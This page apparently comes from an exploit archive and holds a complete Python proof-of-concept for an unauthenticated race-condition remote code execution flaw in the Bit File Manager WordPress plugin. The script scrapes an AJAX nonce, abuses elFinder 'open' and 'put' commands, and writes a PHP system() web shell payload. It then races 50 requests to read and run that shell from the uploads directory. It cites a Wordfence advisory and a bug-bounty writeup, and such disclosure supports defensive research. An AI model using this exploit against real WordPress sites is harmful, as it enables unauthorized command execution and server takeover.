4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
import requests
import json
import aiohttp
import asyncio
from bs4 import BeautifulSoup
from re import search

class Poc:
    def __init__(self, targetBaseUrl, raceConditionJobs=50):
        self.targetBaseUrl = targetBaseUrl
        self.session = requests.Session()
        self.raceConditionJobs = raceConditionJobs
        self.ELFINDER_AJAX_ACTION = 'bit_fm_connector_front'
        self.READ_DIRECTORY_FILES_ELFINDER_COMMAND = 'open'
        self.EDIT_FILE_ELFINDER_COMMAND = 'put'
        self.AJAX_ENDPOINT = f'{self.targetBaseUrl}/wp-admin/admin-ajax.php'
        self.PHP_PAYLOAD = '<?php system("{cmd}");?>'
        self.EDITED_TEMPORARY_FILE_URL = f'{self.targetBaseUrl}/wp-content/uploads/file-managertemp.php'

    def getAjaxNonce(self, fileManagerPostPath):
        print('[*] Getting a valid AJAX nonce...')
        fileManagerPostUrl = f'{self.targetBaseUrl}{fileManagerPostPath}'
        responseText = self.session.get(fileManagerPostUrl).text

        soup = BeautifulSoup(responseText, 'html.parser')
        nonceScriptElement = str(soup.find('script', {'id' : 'file-managerelfinder-script-js-extra'}))

        regexPattern = r'var fm = (.*);'
        result = search(regexPattern, nonceScriptElement)
        if not result:
            print('[-] Unable to get a valid AJAX nonce')
            exit(0)

        parsedJsonObject = json.loads(result.group(1))
        ajaxNonce = parsedJsonObject['nonce']
        print(f'[+] Found the valid AJAX nonce: {ajaxNonce}')
        return ajaxNonce
    
    def getRandomFileHash(self, nonce):
        print(f'[*] Getting a random file\'s hash via elFinder command "{self.READ_DIRECTORY_FILES_ELFINDER_COMMAND}"...')

        bodyData = {
            'action': self.ELFINDER_AJAX_ACTION,
            'nonce': nonce,
            'cmd': self.READ_DIRECTORY_FILES_ELFINDER_COMMAND,
            'init': '1'
        }
        jsonResponse = self.session.post(self.AJAX_ENDPOINT, data=bodyData).json()
        if 'error' in jsonResponse:
            print(f'[-] Unable to get a random file\'s hash')
            exit(0)

        currentWorkingDirectoryFiles = jsonResponse['files']
        for file in currentWorkingDirectoryFiles:
            isFileValid = True if 'hash' in file or 'name' in file else False
            isFileWritable = True if file['mime'] != 'directory' else False
            if not isFileValid or not isFileWritable:
                continue

            fileHash = file['hash']
            filename = file['name']
            break

        print(f'[+] Found file "{filename}" with hash "{fileHash}"!')
        return fileHash

    async def editFileRaceCondition(self, bodyData):
        # edit then access the temporary PHP file
        async with aiohttp.ClientSession() as session:
            async with session.post(self.AJAX_ENDPOINT, data=bodyData) as response:
                # set allow_redirects to False to prevent aiohttp from following the redirect.
                # this is because when the temporary PHP file doesn't exist, WordPress will redirect to path "/wp-content/uploads/file-managertemp.php/"
                async with session.get(self.EDITED_TEMPORARY_FILE_URL, allow_redirects=False) as response:
                    if response.status != 200:
                        return None
                    
                    return await response.text()

    async def executeEditFileRaceCondition(self, nonce, fileHash, commandToExecute):
        print(f'[*] Editing file with hash "{fileHash}" via elFinder command "{self.EDIT_FILE_ELFINDER_COMMAND}" and getting the edited temporary PHP file at "{self.EDITED_TEMPORARY_FILE_URL}"...')

        bodyData = {
            'action': self.ELFINDER_AJAX_ACTION,
            'nonce': nonce,
            'cmd': self.EDIT_FILE_ELFINDER_COMMAND,
            'target': fileHash,
            'content': self.PHP_PAYLOAD.replace('{cmd}', commandToExecute)
        }

        tasks = []
        for _ in range(self.raceConditionJobs):
            task = asyncio.create_task(self.editFileRaceCondition(bodyData))
            tasks.append(task)

        taskResults = await asyncio.gather(*tasks)
        for responseText in taskResults:
            if responseText is None:
                print('[-] Failed to read the edited temporary PHP file in time')
                continue

            print(f'[+] We won the race condition! Here\'s the PHP payload result:\n{responseText.strip()}')
            break

    def exploit(self, fileManagerPostPath, commandToExecute):
        # 1. Get a valid AJAX nonce via the script element with id "index-BITFORM-MODULE-js-extra"
        # 2. Get a random file's hash via elFinder command "open". This allows us to edit the file in the next step
        # 3. Edit the file with PHP payload via elFinder command "put" and read the edited file at the same time, which is at path "/var/www/html/wp-content/uploads/file-managertemp.php"
        ajaxNonce = self.getAjaxNonce(fileManagerPostPath)
        fileHash = self.getRandomFileHash(ajaxNonce)

        asyncio.run(self.executeEditFileRaceCondition(ajaxNonce, fileHash, commandToExecute))

if __name__ == '__main__':
    # Description:
    # The Bit File Manager plugin for WordPress is vulnerable to Remote Code Execution in versions 6.0 to 6.5.5 via the 'checkSyntax' function. This is due to writing a temporary file to a publicly accessible directory before performing file validation. This makes it possible for unauthenticated attackers to execute code on the server if an administrator has allowed Guest User read permissions.
    # https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition
    # 
    # Writeup:
    # https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/

    # change the following values
    targetBaseUrl = 'http://localhost'
    fileManagerPostPath = '/?p=6'
    commandToExecute = 'whoami; id; hostname'

    # change this value if you wanted. Default is 50, which means 
    # we're sending the race condition requests 50 times at the same time
    # raceConditionJobs = 100
    # poc = Poc(targetBaseUrl, raceConditionJobs)
    poc = Poc(targetBaseUrl)
    
    poc.exploit(fileManagerPostPath, commandToExecute)